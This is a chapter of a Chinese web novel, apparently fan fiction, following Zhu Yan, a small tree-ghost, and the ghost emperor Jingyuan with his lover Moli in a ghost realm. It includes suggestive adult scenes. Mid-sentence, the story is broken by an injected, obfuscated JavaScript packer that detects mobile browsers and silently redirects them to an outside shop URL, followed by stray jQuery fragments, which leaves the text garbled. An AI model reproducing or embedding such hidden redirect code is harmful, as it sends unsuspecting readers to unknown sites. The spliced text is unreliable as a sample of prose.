泡在水里的人,不知是被这一小方热气温水,还是欲灵幽花花香勾出的春魇给醺粉红透的眼睑,微微一动,似有苏醒之意。
小小槐鬼一看,顿时露出一脸惶恐又开心的表情,害怕被朱厌发现的它,连忙从他肩上爬下,躲到一旁放着白玉长盘的木椅腿后。
过了足足好一会,泡在水里的朱厌,终于缓缓转醒。
美人苏醒,大喘难止,目露不悦,眉心紧缩。
朱厌收起了自己后仰靠在桶沿上的脑袋,伸手揉了揉自己有些疼的眉心。
头又晕又重,眉心又刺又疼,身体也又酸又软,整个人昏昏沉沉得无精打采。
朱厌感觉自己,好像发生了经历了什么似的,心里头感觉怪怪的,身体更是觉得怪怪的。
难道,自己又是因为眉心这枚露出来的奇怪妖印,做出了什么奇怪的事情?
随着朱厌的苏醒,原本静止的水面开始波动起来,搅得满池浮着的药花,一上一下的,不断上下起伏飘动着。
被搅开的池水,露出藏在里头若隐若现的栗子花香。
藏起来的栗子花香,开始不受控地飘出水面,变得馥郁浓烈的气味,诉说着方才不为人知的荒唐之举,逐渐清晰起来——
泡在水里的人,恍惚的大脑开始有些清晰。
稍微回神后的身子,顿然一僵,那张又美又妖的脸,本就因泡澡的.氤.氲.水雾而变得粉透红晕,蹭的一声,直接烧开,变得更加滚烫,让朱厌顿时手足无措起来。
他这是...梦了?遗了?还是...
感觉怪怪的,都不太像啊...
难道?!
暗红浅瞳里的眼瞳,不由猛地一缩,难道,他这是在别人的地盘里,自...?!
怎么回事?
他一向洁身自好,绝不对干这种如此出格的事情,而且还是在别人的地盘上...
唰的一声,朱厌猛地从水里站起身来,脸色颇为慌乱地从里头跑了出来,抓过一旁的干净衣物匆忙穿上后,像是逃离案发现场似的,慌乱逃走。
小小槐鬼一看,连忙从木椅腿后跑了出来,想要追上去。
可是朱厌逃离的速度实在是太快了,即使长大了一点点的它,也根本就追不上。
小东西以为朱厌不要它了,哇的一声就当场嚎啕大哭起来,一脸委屈,小奶音更是吓得变了调儿,不停大声喊着朱厌:“厌厌!厌...呜呜呜...厌厌...呜呜...”
佛生泉里,流水湍湍,轻纱飘飘。
“陌陌...”埋在陌离脖颈上的男人,有一下没一下不断亲着他的脸,“你说,普度众生的观音菩萨,为何会选择渡化一只十恶不赦的恶鬼呢...”
“闭嘴!嗯...”陌离眉心微皱,忍不住咬紧了下唇瓣,试图掩盖发出令人遐想的嗓音,带了一丝喘和娇,无力地训话着身上人,“你...你别闹了...再闹...我要死了...”
彻底累趴的陌离,想要伸手阻止在他身上啃来啃去的人,却发现别说推人了,连动一下的力气都没有了。
一听到这话,紧闭泛红的眼皮,动了动后缓缓打开,里头带满了高.浓.情.激.过后的满足与迷离,狠狠瞪了一眼净渊。
“因为...”只说了两个字的他,突然又不说了,吊得净渊格外难受。
“嗯?”净渊忍不住停下,像只静候主人喂食的野犬,一下子凑到他跟前。
净渊低眸,看了一眼陌离被他磨得又红又肿的唇后,最后还是忍不住俯身,又亲了一下他的唇。
陌离懒得理他,只是微微抬眸,水青眸内带着一点罕见的.萎.靡.颓.废,又带着一些挣扎无果的放弃,没好气冲净渊一说,“他眼瞎。”
这个答案让净渊彻底一愣,随后低低笑了起来。
那是一个纯净如稚儿的笑,干净,单纯,快乐,愉悦。
他真的是...爱死他家小观音这语出惊人的冷幽默!跟他这只万年恶鬼,简直就是天造地设的绝配!
净渊本来就长得格外好看,精致又大气的五官,抢眼又吸睛。
他如此一笑,连带着眉下和眼尾那一抹灵白色泽的鬼纹,都不自觉上扬了好几分。那双深邃似海的紫眸里,流转着如同稚儿般清澈又单纯的笑意,肆意张扬,意气风发,精致又别致,把陌离迷得不要不要的!
陌离不自觉看傻了眼,在察觉到自己的失态后,原本就红烫的脸,烧得更厉害了,顿时别开了害羞的脸。
净渊又亲了他一口后,单手将他抱起。
突如其来的拥抱与失重,让陌离惊呼出声:“你干嘛!”
“这里水汽太重了,对你身体不好,”净渊抱着他,面对面与他轻声说着,“我们回鬼愁殿去。”
说完,净渊又往陌离脸上狠狠亲了一口,力气大到陌离的脸都被他亲得变形了。
“滚开!”陌离被他这流氓之举给逗得面红耳赤的,手更是不断擦着被净渊亲过的地方,又羞又怒冲净渊娇嗔一说,“你...不许碰本尊!”
净渊眉眼一挑,内心暗自蛐蛐起来:嗯?哦吼,‘本尊’都出来,再逗下去,估计他家小观音又得不理不睬他好几天了,不能逗他玩了...
唉...可惜!
陌离的脸色变了又变,又红又青的,咬牙切齿道:“鬼帝是不是忘记了,跟本尊结有鬼契心海了啊...你蛐蛐本尊的那些心里话,本尊听得一!清!二!楚!”
“我错了。”
净渊当下就态度认真的认着错,只是这脱口而出的歉意,总让人觉得差了几分诚恳。
真正的男人,就是在察觉到自己爱侣即将发火时,不管是谁的错,统统认下,张口闭口全都是自己的错,那准没错!
...
脸色慌乱的朱厌匆忙穿衣后,便离开了那让他又羞又怒的案发现场。
普方大殿很大,纵八横八的宫殿布局,让完全不熟悉此处的朱厌彻底迷了路。
其实,只要指尖稍微动一动,朱厌想去哪儿都可以去哪儿。
可是,他却不知道此时此刻的自己,应该去哪归哪。
回槐谷吗?偌大又冷清的谷中居内,夜深人静之时,孤身一人的痛苦,模糊不清的记忆,折磨得他半死不活。
回昆仑吗?热闹又欢愉的神山小屋,一旦离去后,内心的孤寂就像狂长的坟头草,席卷得他遍体鳞伤。
那种感觉,就好像是在广阔天地中,茫茫人海里,七情六欲,江河湖海,山来水来,却无一处他的容身之处。
朱厌的精神,有些萎靡不振,带了一缕自暴自弃,整个人颓废地坐在一旁台阶上。
他的脸上,泛着一股空洞的死气,还有些许迷茫与无措。身上的衣裳,更是在匆忙逃离中,变得有些凌乱,微微敞开了些许,露出了里头一抹春色。
“我不喜欢那棵树。”被净渊打横抱着的陌离,双手勾着他的脖子,脑袋靠在他肩上,语气好似有些闷闷不乐,嘴里不停诉说着不满。
抱着他的净渊,依旧平稳朝前迈着步伐,只是在听到他这话时,微微歪头,有些不解地看着陌离一问,“嗯?为何?”
陌离抬头,看着满天流光四溢的欲灵幽珠,还有游离在鼻翼间那甜美勾人的香气,脸上露出一抹不悦,随手捏爆一颗飘到他眼前的小光珠,撅着小嘴不断控诉,“每次跟你做一次,那棵破树就会开花结珠,弄得整个九幽鬼域都人尽皆知...”
净渊一听,嘴角上勾,低声一笑:“欲灵幽树,是我鬼族的圣树。幽花盛开,光珠落域,那是对鬼域子民的庇佑,也是祝福。”
陌离听完后,嘀嘀咕咕一说:“什么狗屁圣树!我看就是一棵烂.花.淫.树!我早晚定要把它给砍了!”
说着说着,那双低垂的青眸里,不由翻了一个小白眼,脸上那嫌弃又傲娇的神情,张牙舞爪的。
陌离的小表情自是躲不过净渊的眼,嘴角不自由上扬了几分,凑近亲了亲陌离的眼角。
他的小观音,真的是可爱极了!
陌离自己倒是从未发觉过,其实他每次露出这个表情时,眼角总会不自觉上扬几分,流露出一抹又娇又傲的神色,看得净渊心头痒得很。
净渊抱着怀里人,用力将他往上一抛一颠,语气又凶又宠地恐吓着陌离:“不可以把它砍掉哦~”
陌离听了,眉梢顿时不自觉挑高了几分,像是被人故意惹怒的猫儿,情不自禁竖立起警示他人的小尾巴:“我偏要!我一定会把那棵破树,给砍了的!你等着吧!”
佛生泉禁地离鬼愁寝殿,其实很远很远的。
但这点距离,对于万年大鬼的净渊,自是不在话下,只要他稍微一施法的话,一下子就到了。
可他偏不。
净渊提前用冥鸦通知和遣散了途中所有守夜的鬼将鬼仆,学着凡间那些用膳后外出散步的老夫老妻般畅谈闲聊,紧紧抱着陌离,从佛生泉禁地,一步一步走回鬼愁大殿。
直走的路还是太远了,于是净渊便抱着陌离,抄了从普方大殿横穿到鬼愁寝殿的捷径。
在又拐过一道宫门后,两人双双看到了坐在台阶上,不知道在想什么的朱厌。
坐在台阶上正发呆神游的朱厌,自是将方才两人的那番对话全听了去。
一时之间,场面有些尴尬。
打横抱着陌离的净渊,被净渊抱在怀里的陌离,坐在台阶上出神的朱厌,三个人,六只眼睛,在夜黑风高里,你看我的,我看你的,有些诡异,格外尴尬。
大妖五感超群,即使是在漆黑如墨的夜里,也能目视千里。
朱厌一眼便看到了,密密麻麻的紫红暧昧痕迹,从陌离白皙的脖子上开始,一直沿着他的胸膛不断向下。
那双藏在青纱薄衣下的双手腕臂,因勾着净渊的脖颈,衣纱都落至小臂位置,露出来的双手腕臂上,一片紫一片红的旎旖,落在雪白肤色上格外显眼。
而抱着陌离的净渊,一身素黑寝衣,身高腿长,宽肩窄腰,衣衫大开,更是让人一眼便看到了他紧实线条的.蜜.色.胸.肌。
“朱厌?”陌离一脸疑惑,“你为何会在此处?”
陌离勾着净渊脖子的手,轻轻拍了拍他的肩膀,示意让他把自己放下来。
净渊眼神有些古怪地觑了他一眼,但还是照做不误,将他轻轻放下,只是那双大手先陌离一步搂紧了他的腰。
果然!
双脚才刚沾地,藏在四肢百骸里又软又酸的痛,就朝陌离铺天盖地袭去,连身体站都站不稳,让他瞬间就不由痛哼出声,:“嘶——”
净渊眉间涌起一股忧色,搂陌离搂得更紧了,语气也很担心,“很疼?”
陌离整个人无力窝进净渊的怀里,全身都靠着他撑着,脸色不太好看,只是咬紧下唇,默默点了点头。
许是想到方才在浴间自己做的荒唐之举,看到如此模样的陌离,明明什么都没看到,朱厌却觉得自己好像撞见了两人的现.场.春.宫.上.演,沉默着慌乱逃走了。
净渊的手还停在陌离腰间,帮他揉着酸软难受的后腰。
当陌离一转头,方才还在台阶上坐着的人,此刻台阶早已空了。
“我怎么觉得...朱厌有些怪怪的呢...”陌离一脸疑惑,有些欲言又止,“他那神情那穿着,怎么都像是...”
“像是与人做了夫妻般。”净渊继续帮他揉着发软酸胀的腰,面不改色地俯身在他侧脸亲了一大口后脱口而出,垂眸瞧着陌离,眉梢一挑,“当然,后面那夫妻两字不发音。”
陌离一听,顿时瞪大了双眼,一脸震惊地看向净渊。
可当他在看到净渊这幅脸不红心不跳,丝毫没有察觉到自己所说之言有多荒唐,脸上还一如既往淡定的神情时,陌离忍不住倒吸一口冷气,连带着脸上的神情,也不自然起来。
不会吧...朱厌只能可能是那种人?!
不,怎么可能是那种始乱终弃的妖呢?!
也不对,离仑都死了几万年了,即便朱厌另寻新欢,那也不算始乱终弃...吧?
不对,还是不对!怎么还是觉得怪怪的呢...
道理他都懂,但净渊说的这话,实在是太糙了吧?!
净渊看着脸色五彩斑斓,眼睛一会亮一会暗的,里头的眼色更是一会疑惑一会震惊的陌离,暗自叹了口气。
他的小观音,好像也忘记了...
通过鬼契心海,他也是能清楚听到他的所想所念所思的呀...
“朱厌,他自是不可能对那木头始乱终弃的。”净渊伸手,将夜风吹散陌离的发丝捋到耳后,依旧语出惊人淡淡一说,“他不过是自抚了而已,有何大惊小怪的...”
净渊一想到离仑现在那个跟方糖一般大小的鬼样子,猜都猜得出他能有啥用处呢?!估计现在来只大耗子,都能把它吓得满屋子乱跑乱蹿的,要是小.屁.股.被咬,肯定又得哇吱乱叫了。
不像他,身体力行,躬身实践,以学促干,知行合一的...讨好他家小陌陌!!!
一想到小小槐鬼那副哭天喊地的样子,净渊就觉得自己很是头大...
陌离一听,更是一脸震惊地愣在原地了。
像是后知后觉才想起了什么,净渊忽而出声,认真同陌离说道:“我好像忘了跟你说了,欲灵幽树,除了是我鬼族的圣树之外,它还有另外一个名字...”
净渊一脸淡定,目光依旧从头到尾紧紧粘在陌离身上,沉默了一会后才开口,“我们鬼族的欲灵幽树,也唤作‘勾情魇’。幽花盛开,欲香四溢,光珠出壳,别说青丘那只九灵狐狸炼制的.合.欢.魅.香,就算是大罗神仙来了,也得拜倒在这欲情之花下。”
陌离愣在原地,连话都说不出了。
所以...他跟净渊每爱爱一次,不仅整个九幽鬼域都鬼尽皆知,还会把全部人深藏起来的欲...给勾得彻彻底底?
这是普通的社死丢脸问题吗?这简直就是要诛他的命了吧?!
净渊看着一脸呆萌的陌离,伸手揉了揉有些疼的太阳穴,默默摇了摇头又低低一笑,亲了一下陌离的额角,不疾不徐说道:“小脑袋就别胡思乱想了。欲灵幽树是有鬼识的,它只会赐欲赋爱给真正的有情人。”
“它,还是月...月老?鬼族版的?”陌离一脸石化的脸上蹦出这么一个疑问,呆呆望着净渊。
“呃...算是吧...反正那棵树,是挺通人性的...”
“嘶——”
净渊一个不留神,帮陌离揉着腰的手大力了些,怀里人顿时就痛得叫出声,更是疼得龇牙咧嘴的。
“我...我...陌陌...”净渊一下子就慌了,慌忙想掀开他的衣纱看看是否受伤了,“陌陌,我不是故意的!”
谁知,陌离反手一拍,直接拍开他的手,像是闹脾气般,反而自己揉起了发疼的后腰。
接着,陌离又抬起疼得泪眼汪汪的眼睛,可怜兮兮看着净渊,声音有些软又有些轻,“渊渊...抱我...疼...走不动了...”
蹦的一声!
净渊只觉得,自己脑海里那一根一直紧绷着的弦,忽而像是被陌离用一把又小又利的木锯,轻轻的,那么不经意的一锯而已,就断得干脆利落。
陌离瞧他站在原地一动不动发着呆,没好气又说了一句,“阿渊,抱我,回殿。”
陌离现在浑身上下疼得要死,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844492|183428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
酸得要命。净渊这个罪魁祸首不抱他走回去,难道指望他自己走回去吗?!
绛紫的眼底深处悄然洇开暗色,眼神也不自觉变得锋利了几分,连声音都低沉暗哑了些许。
净渊没有说话,只是动作利索,俯身一抱,将陌离打横抱在怀里,轻飘飘地用鼻音回了陌离一句,“嗯。”
咻的一声,一道紫光自下而上向空中冲去,两人双双消失在原地,直达鬼愁寝殿。
没一会,鬼愁寝殿里头,渺渺黑纱,起伏晃荡,憧憧人影,连连高吟,勾人心魂...
匆忙逃走的朱厌,终于在跌跌撞撞之中,回到了普方大殿的寝宫。
偌大寝宫里,朱厌躺在铺着红织锦绫的软榻上,宽大的衣袖上像一朵.萎.靡.艳.丽的花儿,随意散开落在榻上。
他身上那一袭黑蓝相间的幽蓝衣纱,泛着一种独特的苍青流辉,就像一只游离于暗夜,随时夺命的墨锯眼蝶,漂亮得致命,美丽得危险。
朱厌望着床塌上方低垂轻飘着的帷幔流苏,那双暗红浅瞳默默失着神,里头涌起一股涣散的放空。
一道哭唧唧的微弱声音,还带着更加微弱的噗呲噗嗤步伐声,由远及近,快快慢慢的,一会停一会走,逐渐靠近普方大殿的寝宫。
小小槐鬼打着哭嗝,冒着鼻涕泡泡,哭到嗓子都哑了,可依旧还在咿咿呀呀哭着。
朱厌从逃离浴间到此刻回到寝殿,不过才个把时辰,但对于小小槐鬼来说,却像是过了千年万年般久远。
朱厌好端端从大池浴间逃走,把它丢在那里不闻不问的。
小小槐鬼以为朱厌不要它了,有些生气,可又忍不住拔开小腿拼了命似地追着他。可是它又太小太小了,小小的身体配上短短的腿,怎么可能追得上大长腿的朱厌呢?!
最后,还是凭借着朱厌残留在半空中若隐若现的气息,小小槐鬼扭着肥嘟嘟的小身子,扒拉着小肥短腿,千辛万苦,跋过普方大殿纵八横八的宫殿布局‘大山’,涉过普方流廊星罗棋盘的‘万水’,终于寻来了普方寝宫。
好不容易跨越了万千困难才找到朱厌,可又一道天大的难题,困住了小小槐鬼。
小小槐鬼站在普方寝宫的门口,抬起小脑袋,一脸呆萌地望着仅有九寸高却于它而言如同大山的门槛。
虽然它自己也不知何由长大了些许,但也就从一粒小花生米大小变成一块小方糖大小,再从一块小方糖到一颗小鸡蛋大小而已。
小鸡蛋对上九寸高的门槛,终究还是败了。
本来就因跑了很久早没力气的小小槐鬼,别说要跳过这门槛,它现在连爬都爬不过。
小小槐鬼又生气又难过,无能为力又束手无策,干脆一.小.屁.股.墩.儿坐在地上,嚎啕大哭起来。
哭着哭着,像是嫌弃闹得不够一样,小东西又开始跟块小煎饼一样,在地上翻来覆去,撒泼打滚着。
可惜,它的哇哇大哭跟撒泼打滚,躺在软榻上,正失神深思着的朱厌,并没有听到。
忽而,一道淡紫穿过大殿帘窗,打落在地面,那是紫的月色。
软榻上躺着的人,指尖微微一动,随后起了身,像是有所感应般,朝着寝宫殿门,缓缓走去。
上一秒还在撒泼大哭的小小槐鬼,在看到朱厌后,赶紧擦干挂在睫毛上的豆大眼泪,一脸欢喜地抓紧朱厌的衣角,像只拼命蠕动的小肥虫,顺着衣角,朝着朱厌身上攀着上去。
站在殿口的朱厌,夜风微拂过他的蓝纱墨袍勾得衣袂飘飘,绛紫的月色很美,却不如大荒的皎洁。
“我跟你,我们...”散在身后的长发,在风里有些孤寂地轻轻舞动着,像是替主人诉说着又沉又重的心事,“很快就会再见的,对吗...”
刚好,小小槐鬼竭尽全力爬到了朱厌的肩上,打着不停的哭嗝,小身子哭得一抽一抽的,小鼻子上还挂着小鼻涕泡泡,一抽一吸的,可怜又可爱。
像是记仇着朱厌方才不管不顾把它丢在偌大浴间,挥袖而去的举动,坐在朱厌肩上的小小槐鬼,两条小短腿被他气得一晃一荡的,偷偷踢了朱厌一小脚,但也只是轻轻的,跟羽毛一样轻的一小脚。
又像是还不够泄气般,小小槐鬼拿过朱厌的几根头发,戳破了自己哭出来的鼻涕泡泡。
接着,小东西又继续拿起几根新的头发,把朱厌的头发当作小手纸,擤起自己的小鼻涕泡泡。
“哼~~~”小小槐鬼用朱厌的头发,擤完自己的小鼻涕后,小嘴巴里小奶音还在哔哩吧啦念念叨叨着,估计是还在骂着朱厌方才说都没说就把它丢下的行为。
小小槐鬼小嘴巴张张合合的:@*#X*@X@*#O&O
槐言槐语的,估计,骂得挺脏的...吧?
“离仑...”朱厌望着天上那一弯高悬紫月,瞳底深处的情绪,是揉不开的破碎,是愈不了的爱殇。
“嗯?”还在小小声骂骂咧咧着朱厌的小小槐鬼下意识一应,随即抬头看向他。
“阿离...”朱厌像是自言自语般,又唤了一声那个早已离去的人的名字,“我想你了...”
好像是被这声‘我想你了’哄好了,上一秒还哭唧唧着的小小槐鬼下一秒便又喜上眉梢,脸上露出一丝开心的神情,有些甜甜又很害羞回了朱厌一句:“嗯~”
说着,肥嘟嘟的小手手便从自己身上穿着的蓝雾衣裳上扯下一缕蓝雾,做成了一把迷你小剪刀,把方才自己偷偷拿朱厌头发擤鼻涕的几根头发,咔嚓一声,剪掉了。
剪了之后,小小槐鬼还把那几根头发,像是炫耀自己顽皮之举的战利品,举到朱厌跟前,献给他看,嘴里依旧咿咿呀呀喊着,“厌厌~”
这道嘀嘀咕咕又咿咿呀呀的小奶音,像是在同朱厌说,你方才丢下我拔腿就跑之事,我就勉为其难原谅你了。
满天飞舞着的欲灵幽珠,像一只只漂亮的七彩萤虫,所过之处,皆流下一抹七彩光尾,美艳,亮丽。
眼前鬼域上空紫色的月,逐渐与大荒上空白色的月,重叠在一起。
混着满天的欲灵幽珠,那一瞬间,熟悉的声音,穿破了时与间的限制,无比清晰传入朱厌的耳内。
“他是我们的第一个孩子...”
“我比谁,都期待着他的降生...”
一行眼泪,不受控地抖着从朱厌眼眶滚落。
“原来是真的...是真的...”朱厌紧攥着的手,难以受控地抖个不停,“我跟你之间,真的有过不止一个...孩子...”
戾气跟他说的话,他是信的,但只愿,也只能,只敢信三分。可离仑跟他说的话,他信,是十分的信。
这一刻,朱厌的内心,彻底坚定,回到过去,在这件事上,只能成功,不能失败。
他,势在必得。
在听到‘孩子’一词时,坐在朱厌肩上的小小槐鬼,身子一顿,那双大眼里再度划过一抹罕见的空洞与愕然。
小东西手上握着的那把小小剪刀,瞬间变成一只小小白猿。
小小白猿可爱又活泼,一直围着小小槐鬼转来转去。
小东西忽而伸手,一把抱住了在它面前跑来跑去的小小白猿。
小小槐鬼那双空洞的眼里,一颗眼泪掉了下来,嘴里终于冒出了除了朱厌以外的词儿。
只是,方才还活蹦乱跳的小小白猿,当躺在小小槐鬼的臂弯处,却瞬间没了生气,变成了死物。
“厌厌...”坐在他肩上的小小槐鬼,举着手里被它抱着可却死掉的小小白猿,小小的声音里,满是委屈和难过,同他说了一句,“崽崽...”
朱厌,还是没有听到它说的话,只是盯着天上那轮紫月望着的眼睛里,默默流着眼泪...